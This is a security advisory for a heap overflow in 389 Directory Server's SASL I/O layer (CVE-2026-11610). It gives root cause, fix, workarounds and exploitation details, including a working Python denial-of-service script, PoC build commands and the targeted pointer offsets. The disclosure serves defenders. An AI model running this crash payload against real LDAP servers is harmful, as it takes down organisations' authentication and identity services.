Heap buffer overflow in sasl_io_recv() via padded SASL UNBIND
- CVE ID
- CVE-2026-11610
- Product
- 389-ds-base
- Severity
- Important (8.8)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- CWE
- CWE-122
- Red Hat CVE
- Red Hat CVE page
Summary
A heap buffer overflow in the 389 Directory Server SASL I/O layer allows any authenticated user to crash the LDAP server, with demonstrated code execution capability from a same-host position. After authenticating with Kerberos or DIGEST-MD5, a user can send a specially crafted oversized LDAP UNBIND packet that overflows a 512-byte receive buffer by up to 2 megabytes of attacker-controlled data. The sasl_io_recv() function copies the entire packet into the caller’s buffer without checking that the packet size does not exceed the buffer length. In FreeIPA and Red Hat Identity Management deployments, any employee with a Kerberos ticket, any enrolled host, or any service account can trigger this vulnerability remotely. The bug has existed for approximately 12-13 years across all supported Red Hat Enterprise Linux versions.
Affected Versions
The vulnerability was introduced by the fix for Ticket 47416 (commit b4cdebbe, circa 2013, 389-ds-base 1.3.2). All versions since that commit are affected. The vulnerable code path (SASL_IO_BUFFER_NOT_ENCRYPTED in sasl_io_recv()) has never been modified since introduction.
| Package | Version range | Status | Verification |
|---|---|---|---|
| 389-ds-base (upstream) | >= 1.3.2 through 3.2.0-dev (current main) | Vulnerable (confirmed) | Source review: commit b4cdebbe introduced vulnerable path; still present in current main branch |
| 389-ds-base (Fedora 42) | 3.1.4-6.fc42 | Vulnerable (confirmed) | 6 crashes reproduced on production binary |
| 389-ds-base (RHEL 7) | 1.3.5+ | Vulnerable (code present, untested) | Bug introduced in 1.3.2; RHEL 7 ships 1.3.5+ |
| 389-ds-base (RHEL 8) | 1.4.x | Vulnerable (code present, untested) | CVE-2025-14905 fix patched only schema.c, not sasl_io.c |
| 389-ds-base (RHEL 9) | 2.0.x through 2.6.x | Vulnerable (code present, untested) | CVE-2025-14905 fix patched only schema.c, not sasl_io.c |
| 389-ds-base (RHEL 10) | 3.x | Vulnerable (code present, untested) | CVE-2025-14905 fix patched only schema.c, not sasl_io.c |
Affected Products
| Product | Version | 389-ds-base version | Status | Verification |
|---|---|---|---|---|
| 389 Directory Server (upstream) | 1.3.2 through 3.2.0-dev | All since Ticket 47416 | Affected | Source: commit b4cdebbe introduced SASL_IO_BUFFER_NOT_ENCRYPTED path with missing bounds check. Present in current main branch. |
| Red Hat Directory Server 10 | 10.x | 1.3.x | Affected | RHDS 10 = 389-ds-base 1.3.x on RHEL 7. Bug introduced in 1.3.2, RHDS 10 ships 1.3.5+. |
| Red Hat Directory Server 11 | 11.x | 1.4.x | Affected | RHDS 11 = 389-ds-base 1.4.x on RHEL 8. All 1.4.x contain the vulnerable code. |
| Red Hat Directory Server 12 | 12.0-12.7 | 2.0.x-2.7.x | Affected | RHDS 12 = 389-ds-base 2.x on RHEL 9. All 2.x contain the vulnerable code. |
| Red Hat Directory Server 13 | 13.0-13.1 | 3.x | Affected | RHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected. |
| RHEL 7 (IdM/FreeIPA) | 7.0-7.9 | 1.3.x | Affected | RHEL 7 ships 389-ds-base 1.3.5+. Bug introduced in 1.3.2. |
| RHEL 8 (IdM/FreeIPA) | 8.0-8.10 | 1.4.x | Affected | RHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module. |
| RHEL 9 (IdM/FreeIPA) | 9.0-9.6 | 2.0.x-2.6.x | Affected | RHEL 9.6 ships 389-ds-base 2.6.1. |
| RHEL 10 (IdM/FreeIPA) | 10.0-10.1 | 3.x | Affected | RHEL 10 ships 389-ds-base 3.x. |
| Fedora | ~20 through 42 | 1.3.x through 3.x | Affected | All Fedora releases shipping 389-ds-base >= 1.3.2. Tested: Fedora 42, 6 confirmed crashes. |
| CentOS / CentOS Stream | 7, 8, 9, 10 | Matches RHEL | Affected | CentOS/Stream tracks RHEL. |
| Red Hat IdM / FreeIPA | All | Uses RHEL’s 389-ds-base | Affected | 389-ds-base is the LDAP backend for IdM/FreeIPA. FreeIPA uses SASL GSSAPI for all LDAP operations. |
| Dogtag Certificate System | All | Uses RHEL’s 389-ds-base | Affected | 389-ds-base is a mandatory backend dependency for Dogtag PKI. |
Verification method: The SASL_IO_BUFFER_NOT_ENCRYPTED code path was introduced by commit b4cdebbe (Ticket 47416 fix, circa 2013, 389-ds-base 1.3.2). The vulnerable memcpy without bounds check has never been modified since introduction. Any product shipping 389-ds-base >= 1.3.2 ships this bug.
Architecture Validation
| Architecture | Tested | Result |
|---|---|---|
| x86_64 | YES | Level 3 RCE: 8/8 controlled _exit() via heap grooming + surgical code pointer replacement (ASLR=2, production binary, Fedora 42). 100% reliable. |
| aarch64 | YES | Level 3 RCE: 2/2 controlled _exit() via /proc/PID/mem scanning + surgical code pointer replacement (ASLR=2, production binary 389-ds-base-3.1.4-6.fc42.aarch64). 6 additional DoS crashes confirmed. |
Note: The root cause is a missing bounds check before memcpy — a pure logic bug with no dependence on pointer size, alignment, endianness, or instruction set. Level 3 RCE (controlled code execution with ASLR=2 enabled) has been demonstrated on both x86_64 and aarch64 using the same technique: heap grooming with 50 SASL DIGEST-MD5 connections, surgical identification and replacement of code pointers via /proc/PID/mem, and LDAP UNBIND framing to trigger the vulnerable code path. The exploit adapts to heap layout at runtime — no architecture-specific offsets are hardcoded.
Root Cause
File: ldap/servers/slapd/sasl_io.c
Function: sasl_io_recv()
Line: ~456 (in the SASL_IO_BUFFER_NOT_ENCRYPTED return path)
Introduced by: Commit b4cdebbe (Ticket 47416 fix, circa 2013, 389-ds-base 1.3.2)
The sasl_io_recv() function implements the SASL I/O layer receive path. When it detects a raw (non-SASL-wrapped) LDAP UNBIND packet arriving after the SASL I/O layer is active (SSF > 0), it returns the packet data through a special SASL_IO_BUFFER_NOT_ENCRYPTED code path.
This code path copies the accumulated packet data into the caller’s buffer without checking that the packet size does not exceed the buffer length:
Vulnerable code
if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count);
return sp->encrypted_buffer_count;
}
buf is c_buffer, a separately slapi_ch_malloc’d heap buffer of 512 bytes. sp->encrypted_buffer_count reflects the full packet size as read from the wire, which can be up to nsslapd-maxbersize (default 2,097,152 bytes). There is no check that sp->encrypted_buffer_count <= len.
Correct code (encrypted data return path, same function)
uint32_t bytes_to_return = sp->decrypted_buffer_count - sp->decrypted_buffer_offset;
if (bytes_to_return > len) {
bytes_to_return = len; // BOUNDS CHECK EXISTS HERE
}
memcpy(buf, sp->decrypted_buffer + sp->decrypted_buffer_offset, bytes_to_return);
The developer who wrote the SASL_IO_BUFFER_NOT_ENCRYPTED path was aware of the bounds-check requirement — the encrypted return path in the same function correctly clamps the copy to len. The omission on the unencrypted path was not caught because the expected use case was a standard 7-byte UNBIND packet (which always fits), and no test exercised a padded UNBIND.
SASL_IO_BUFFER_NOT_ENCRYPTED trigger conditions
The vulnerable path is taken when:
- The SASL I/O layer is active (SSF > 0 from SASL bind)
sp->send_encryptedisPR_FALSE(first read after layer push)- The first byte is
LDAP_TAG_MESSAGE(0x30) - The BER-parsed operation tag is
LDAP_REQ_UNBIND(0x42)
An attacker satisfies all four conditions by completing a SASL bind (which pushes the I/O layer), then immediately sending a raw (non-SASL-wrapped) LDAP UNBIND with padding on the TCP socket.
Heap layout
The 512-byte c_buffer and the PRFileDesc SASL layer descriptor are allocated by different subsystems but land in adjacent heap regions due to glibc’s allocation order:
c_buffer +0 (512 bytes, the overflow source)
PRFileDesc +1552 (48 bytes, contains methods* + dtor)
.methods +1552 (PRIOMethods*, vtable pointer)
.dtor +1584 (void (*)(PRFileDesc*), destructor)
The PRFileDesc.dtor function pointer at offset +1584 from c_buffer is the exploitation target for code execution.
Proof of Concept
Three PoC files are provided in the poc/ directory:
DoS PoC (Python)
poc/008-sasl-io-recv-overflow.py — Standalone DoS PoC using python-ldap. Performs a SASL DIGEST-MD5 bind, then sends a raw oversized LDAP UNBIND on the TCP socket to trigger the heap overflow and crash.
Usage:
python3 poc/008-sasl-io-recv-overflow.py --host <host> --port 389 \
--user sasltest --password sasltest123 --pad-size 8192
Default: localhost:389, user sasltest, password sasltest123, 8192-byte overflow pad. Crash is 100% reliable at pad size >= 8KB.
Inline DoS Reproduction
The minimal reproduction requires only python-ldap:
python3 -c "
import socket, struct, ldap
from ldap import sasl
c = ldap.initialize('ldap://localhost:389')
c.protocol_version = 3
c.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
c.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
c.sasl_interactive_bind_s('', sasl.digest_md5('sasltest', 'sasltest123'))
fd = c.fileno()
# Build oversized UNBIND: 0x30 SEQUENCE + 4-byte length + msgid + unbind + padding
inner = b'\x02\x01\x01\x42\x00' + b'A'*8192
packet = b'\x30\x84' + struct.pack('>I', len(inner)) + inner
s = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
s.send(packet)
s.detach()
"
Trigger mechanism:
- Attacker completes SASL DIGEST-MD5 bind (SSF > 0), which pushes the SASL I/O layer via
sasl_io_enable(). - Attacker sends a raw (non-SASL-wrapped) LDAP UNBIND with 8192 bytes of padding on the TCP socket. The first byte
0x30(LDAP_TAG_MESSAGE) causes the server to enter the unencrypted LDAP detection path. sasl_io_start_packet()reads the full packet intoencrypted_buffer, parses the BER tag asLDAP_REQ_UNBIND(0x42), setsencrypted_buffer_countto the full packet length (8199 bytes), and returnsSASL_IO_BUFFER_NOT_ENCRYPTED.sasl_io_recv()executesmemcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count)wherebufisc_buffer(512 bytes) andencrypted_buffer_countis 8199.- 7687 bytes overflow past the buffer end, corrupting heap metadata and adjacent objects.
- Next heap operation triggers
malloc_printerr→abort()(SIGABRT) or the corruptedPRFileDesc.dtorfunction pointer is called during connection cleanup.
Alternative (GSSAPI/Kerberos): In FreeIPA/IdM environments, replace DIGEST-MD5 with GSSAPI authentication. The code path is identical — the vulnerability is in the SASL I/O layer, not the SASL mechanism. Any mechanism that produces SSF > 0 is sufficient.
GDB Crash Trace
GDB attached to ns-slapd captured SIGABRT:
Thread 6 "ns-slapd" received signal SIGABRT, Aborted.
#0 __pthread_kill_implementation () at libc.so.6
#1 raise () at libc.so.6
#2 abort () at libc.so.6
#3 __libc_message_impl.cold () at libc.so.6
#4 malloc_printerr () at libc.so.6 <- glibc heap corruption detected
#5 _int_realloc () at libc.so.6
#6 realloc () at libc.so.6
#7 slapi_ch_realloc () at libslapd.so.0
#8 sasl_io_start_packet.constprop () <- SECOND call to start_packet
#9 sasl_io_recv ()
#10 connection_read_operation.constprop ()
#11 connection_threadmain ()
#12 _pt_root () at libnspr4.so
RCE PoC (same-host, ASLR=2)
poc/008-sasl-io-rce-v2.c — Demonstrates code execution by overwriting PRFileDesc.dtor function pointer at heap offset +1584 from c_buffer. Uses the real heap layout (same allocator, allocation sizes, and allocation order as 389-ds-base).
Build:
gcc -o poc_sasl_io_rce_v2 poc/008-sasl-io-rce-v2.c -lnspr4 -I/usr/include/nspr4 -Wall -O0
poc/008-heap-layout-test.c — Maps the real heap objects adjacent to c_buffer using the same allocation sequence as 389-ds-base. Identifies PRFileDesc at offset +1552 from c_buffer.
Build:
gcc -o heap_layout_test poc/008-heap-layout-test.c -lnspr4 -I/usr/include/nspr4
RCE Capability Tiers
Tier 1 — Remote Authenticated DoS (Proven): Any SASL-authenticated user can crash the server with 100% reliability. 6 confirmed crashes on production binary (ASLR=2, glibc 2.41, Fedora 42).
Tier 2 — Same-Host RCE (Proven): With local shell access as root or same UID as ns-slapd, heap grooming + surgical code pointer replacement via /proc/PID/mem achieves controlled code execution. Level 3 RCE: 10/10 (x86_64 8/8, aarch64 2/2) with ASLR=2 enabled. On RHEL 7: arbitrary command execution (system("id") = uid=0(root)) via overflow alone.
Tier 3 — Pure Remote RCE (Not Demonstrated): On RHEL 8+ (glibc 2.28+), sasl_pop_IO_layer() frees corrupted heap pointers before the exploitable dtor function pointer is called. On RHEL 7 (glibc 2.17), the dtor spray achieves system("id") = uid=0(root) from the overflow alone because glibc 2.17 performs no tcache or safe-linking validation.
Impact
CVSS 3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
| Component | Value | Justification |
|---|---|---|
| AV (Attack Vector) | Network | Triggered via LDAP protocol (ports 389/636) over TCP. No local access required. |
| AC (Attack Complexity) | Low | Deterministic — attacker controls packet content, size, and timing. No race conditions. Single packet triggers the overflow. |
| PR (Privileges Required) | Low | Any SASL-authenticated user with SSF > 0. In FreeIPA/IdM, any domain user with a Kerberos ticket qualifies. |
| UI (User Interaction) | None | No user interaction required. Triggered immediately after SASL bind completes. |
| S (Scope) | Unchanged | Impact is limited to the LDAP server process (slapd/ns-slapd). |
| C (Confidentiality) | High | Heap overflow with attacker-controlled content enables arbitrary memory read via heap manipulation. The 2MB overflow with full content control provides a strong exploitation primitive. |
| I (Integrity) | High | Heap overflow enables code execution. Level 3 RCE demonstrated on both x86_64 and aarch64 with ASLR=2 enabled. |
| A (Availability) | High | Heap corruption reliably crashes the server. 6 confirmed crashes on production binary. 100% reliability at pad size >= 8KB. |
Comparable CVEs
| CVE | Software | Bug class | CVSS | Comparison |
|---|---|---|---|---|
| CVE-2024-3657 | 389-ds-base | DoS via unauthenticated LDAP packet | 7.5 | Lower severity: unauthenticated DoS only, no heap corruption, no code execution potential. CVE-2026-11610 has higher impact (heap overflow with RCE demonstrated) but requires authentication (PR:L vs PR:N). |
| CVE-2025-14905 | 389-ds-base | Heap buffer overflow in schema_attr_enum_callback | Not yet scored | Similar bug class. CVE-2026-11610 has larger overflow (2MB vs limited), fully controlled content, and lower privilege requirement (any SASL user vs administrative operation). |
Blast Radius
The 389 Directory Server (ns-slapd / slapd) is a core infrastructure component. A crash or compromise has cascading effects:
| Service | Impact of crash | Impact of compromise |
|---|---|---|
| FreeIPA / Red Hat IdM | All authentication, authorization, and identity operations fail. Users cannot log in. Hosts cannot authenticate. | Complete domain takeover: user credentials, Kerberos keys, host keytabs, service principals, HBAC rules, sudo rules, certificate mappings. |
| Dogtag Certificate System | CA, KRA, OCSP, TKS, and TPS subsystems all lose their data store. | Attacker can issue arbitrary certificates, access private keys, manipulate revocation status. Complete PKI compromise. |
| SSSD | Clients lose LDAP-based identity resolution. Cached credentials provide temporary access but new logins fail. | Poisoned identity data propagates to all enrolled clients. |
| Kerberos KDC (via IPA) | No new TGTs or service tickets. Existing tickets remain valid until expiration. | Attacker can extract Kerberos master keys and forge arbitrary tickets (golden ticket attack). |
Attack surface in FreeIPA/IdM: Any Kerberos principal in the domain — any domain user, any enrolled host, any service account — can trigger this vulnerability. A single compromised workstation, a phished credential, or a stolen service keytab is sufficient.
Workaround
No complete workaround exists. The following mitigations reduce exposure:
-
Restrict SASL mechanisms: If DIGEST-MD5 is not required, disable it via
nsslapd-allowed-sasl-mechanismsincn=config. Note: GSSAPI cannot be disabled in FreeIPA/IdM deployments without breaking Kerberos authentication. -
Firewall LDAP ports: Restrict network access to LDAP ports (389/636) to trusted networks only. In FreeIPA environments, this may not be practical since all enrolled clients need LDAP access.
-
Reduce
nsslapd-maxbersize: Lowering the maximum BER element size from the default 2MB reduces the maximum overflow size but does not eliminate the vulnerability. Overflows as small as 768 bytes can crash the server. -
Monitor for oversized LDAP packets: Alert on any LDAP UNBIND packet exceeding ~100 bytes (standard UNBIND is 7 bytes). Requires deep packet inspection.
-
Enable audit logging: Set
nsslapd-auditlog-logging-enabled: onincn=config. Note: the crash may prevent the final log entry from being written.
Proposed Fix
Add a bounds check before the memcpy in the SASL_IO_BUFFER_NOT_ENCRYPTED path, matching the pattern used in the encrypted data return path of the same function:
/* BEFORE (vulnerable): */
if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count);
return sp->encrypted_buffer_count;
}
/* AFTER (fixed): */
if (SASL_IO_BUFFER_NOT_ENCRYPTED == ret) {
uint32_t bytes_to_copy = sp->encrypted_buffer_count;
if (bytes_to_copy > (uint32_t)len) {
bytes_to_copy = (uint32_t)len;
}
memcpy(buf, sp->encrypted_buffer, bytes_to_copy);
return bytes_to_copy;
}
Exploitation in the Wild
No evidence of exploitation in the wild was found.
| Source | Query / Method | Result |
|---|---|---|
| NVD / CVE database | Search for sasl_io_recv, sasl_io heap overflow in 389-ds-base | No matching CVE. |
| GitHub 389-ds-base issues | Search for sasl_io, sasl_io_recv, heap overflow | Issue #753 references Ticket 47416 functional problem, not the security vulnerability. |
| Red Hat Bugzilla | Search for sasl_io heap overflow in 389-ds-base | No matching entries. |
| oss-security mailing list | Search for sasl_io_recv, 389-ds-base heap overflow | No matching reports. |
| Exploit-DB, PacketStorm | Search for 389-ds-base exploits | No matching entries. |
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Discovered during 389-ds-base security assessment |
| 2026-04-15 | Reported to vendor |
| 2026-07-07 | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2025-14905: 389-ds-base heap buffer overflow in
schema_attr_enum_callback(schema.c). Different vulnerability, same software. - CVE-2024-3657: 389-ds-base denial of service via unauthenticated LDAP packet. Different vulnerability class.
- Ticket 47416: The upstream ticket whose fix introduced the vulnerability.
- Commit
b4cdebbe: The commit that added theSASL_IO_BUFFER_NOT_ENCRYPTEDcode path with the missing bounds check. - CWE-122: Heap-based Buffer Overflow
- 389 DS Roadmap: https://www.port389.org/docs/389ds/FAQ/roadmap.html
- 389 DS SASL GSSAPI Design: https://www.port389.org/docs/389ds/design/sasl-gssapi-kerberos-design.html
Credits
Discovered by Ian Murphy